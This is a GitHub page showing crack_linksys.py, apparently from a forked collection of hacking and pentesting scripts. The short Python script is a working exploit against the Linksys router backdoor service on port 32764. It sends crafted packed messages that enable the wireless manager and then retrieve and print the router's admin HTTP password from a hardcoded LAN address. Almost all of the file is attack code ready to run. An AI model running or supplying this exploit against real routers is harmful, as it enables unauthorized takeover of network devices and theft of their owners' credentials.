forked from mariusv/Gray-Hacker-and-PenTesting
-
Notifications
You must be signed in to change notification settings - Fork 0
/
crack_linksys.py
executable file
·45 lines (29 loc) · 968 Bytes
/
crack_linksys.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
sisu#!/usr/bin/env python
__author__ = "bt3"
import socket
import struct
import sys
# Defining constants
HOST = '192.168.1.22'
PORT = 32764
def send_message(s, message, payload=''):
header = struct.pack('<III', 0x53634D4D, message, len(payload))
s.send(header+payload)
response = s.recv(0xC)
if len(response) != 12:
print("Device is not a crackable Linksys router.")
print("Received invalid response: %s" % response)
raise sys.exit(1)
sig, ret_val, ret_len = struct.unpack('<III', response)
assert(sig == 0x53634D4D)
if ret_val != 0:
return ret_val, "ERROR"
ret_str = ""
while len(ret_str) < ret_len:
ret_str += s.recv(ret_len - len(ret_str))
return ret_val, ret_str
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(( HOST, PORT ))
send_message(s, 3, "wlan_mgr_enable=1")
print send_message(s, 2, "http_password")